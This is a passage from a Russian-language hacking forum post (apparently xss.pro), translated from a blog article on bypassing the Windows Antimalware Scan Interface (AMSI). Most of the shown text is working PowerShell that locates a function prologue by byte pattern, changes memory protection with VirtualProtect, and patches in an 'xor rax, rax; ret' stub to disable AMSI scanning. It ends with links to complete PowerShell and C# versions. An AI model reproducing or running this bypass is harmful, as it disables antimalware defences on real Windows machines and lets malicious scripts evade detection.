0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
Финальные шаги
Методика была протестирована на следующей версии Windows:
Окончательный сценарий PowerShell можно найти здесь
https://gist.github.com/amonsec/986db36000d82b39c73218facc557628
Версия C#:
https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597
Перевод: $talk3r
Оригинал: https://www.contextis.com/en/blog/amsi-bypass
xss.pro (c)
Последнее редактирование модератором: